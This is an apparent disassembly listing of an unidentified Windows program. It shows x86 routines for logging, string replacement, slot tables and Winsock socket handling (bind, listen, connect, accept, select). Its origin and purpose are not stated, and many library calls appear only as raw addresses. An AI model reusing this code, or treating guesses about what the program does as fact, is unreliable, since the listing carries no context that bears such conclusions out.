		mov	ebx, dword_50FAF8
		push	esi
		push	edi
		mov	edi, [esp+10h]
		mov	esi, offset dword_506E6C


loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE6C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		call	near ptr 27A0000h
		nop
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE6C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi	; strncpy
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E6C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E6C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp	; strncpy
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		call	near ptr 77C47C60h
		nop
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp	; strncpy
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp	; strncpy
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	sub_5EDAB2
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp	; strncpy
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		nop
		call	near ptr 71AB2B66h
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2E5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E55
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1EBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx ; sub_5EDAB2
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EDAB2
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6775


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2E5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, off_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D667Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx ; sub_5EDAB2
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx ; sub_5EDAB2
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB38
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB38
		inc	eax
		mov	dword_50BB38, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB38
		inc	edx
		mov	dword_50BB38, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB38
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB38
		dec	eax
		mov	dword_50BB38, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB38
		dec	ecx
		mov	dword_50BB38, ecx
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		dd 90909004h, 2	dup(90909090h),	8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DD0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi	; select
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp	; WSAGetLastError
		call	ebp	; WSAGetLastError
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi	; select
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F70
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi	; select
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
